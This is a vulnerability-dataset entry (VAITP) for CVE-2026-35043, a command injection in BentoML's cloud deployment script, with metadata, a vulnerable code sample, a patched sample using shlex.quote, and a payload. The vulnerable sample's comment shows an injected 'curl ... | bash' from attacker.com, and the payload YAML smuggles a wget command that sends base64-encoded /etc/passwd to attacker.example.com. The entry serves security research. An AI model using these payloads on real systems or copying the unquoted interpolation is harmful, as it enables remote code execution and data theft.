VAITP Dataset

← Back to the dataset

CVE-2026-35043

BentoML is vulnerable to RCE via command injection during cloud deployment.

  • CVSS 7.8
  • CWE-78
  • Input Validation and Sanitization
  • Remote

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

CVSS base score
7.8
Published
2026-04-06
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
BentoML
Fixed by upgrading
Yes

Solution

Upgrade BentoML to version 1.4.38 or later.

Vulnerable code sample

import typing as t

# This is a representative code example based on the vulnerability description
# for CVE-2026-35043. It is not the exact source code but demonstrates the
# described flaw in a functional way. The context is a function that generates
# a setup shell script for a cloud deployment.

def _generate_setup_script(
    system_packages: t.Optional[t.List[str]] = None,
    # ... other parameters for the deployment would be here
) -> str:
    """
    Generates the setup.sh script for the cloud deployment environment.
    """
    script_lines = [
        "#!/bin/bash",
        "set -euxo pipefail",
        "apt-get update -y",
    ]

    if system_packages:
        # VULNERABLE LINE: The 'system_packages' list is joined and then
        # directly interpolated into the shell command using an f-string
        # without any form of quoting or sanitization.
        # An attacker could provide a malicious package name in their BentoML
        # configuration, like ["cowsay", "; curl http://attacker.com/payload | bash"],
        # to achieve remote code execution on the build server.
        script_lines.append(
            f"apt-get install -y --no-install-recommends {' '.join(system_packages)}"
        )

    script_lines.append("echo 'Setup script finished.'")

    return "\n".join(script_lines)

Patched code sample

import shlex
from typing import List

def _generate_cloud_setup_script(system_packages: List[str]) -> str:
    """
    Generates a setup script for cloud deployment, safely including system packages.
    
    This function represents the fixed code. The vulnerability stemmed from
    directly interpolating package names into a shell command. The fix is to
    use shlex.quote() to properly sanitize each package name, preventing
    command injection.
    """
    script_lines = ["#!/bin/sh", "set -ex", "apt-get update"]

    if system_packages:
        # VULNERABLE (hypothetical):
        # unsafe_packages_str = " ".join(system_packages)
        # install_cmd = f"apt-get install -y {unsafe_packages_str}"

        # FIXED:
        # Each package name is individually quoted using shlex.quote(). This
        # ensures that any special shell characters within a package name are
        # treated as literal characters, not as command separators or operators.
        # For example, "pkg; malicious-cmd" becomes "'pkg; malicious-cmd'",
        # which the shell treats as a single, non-executable argument.
        quoted_packages_str = " ".join(shlex.quote(pkg) for pkg in system_packages)
        install_cmd = f"apt-get install -y --no-install-recommends {quoted_packages_str}"
        script_lines.append(install_cmd)

    # In a real application, more script lines would be added here.
    # For example:
    # script_lines.append("pip install -r requirements.txt")

    return "\n".join(script_lines)

Payload

service: "service:svc"
include:
  - "*.py"
python:
  system_packages:
    - "wget; wget http://attacker.example.com/$(cat /etc/passwd | base64)"

Cite this entry

@misc{vaitp:cve202635043,
  title        = {{BentoML is vulnerable to RCE via command injection during cloud deployment.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-35043},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35043/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::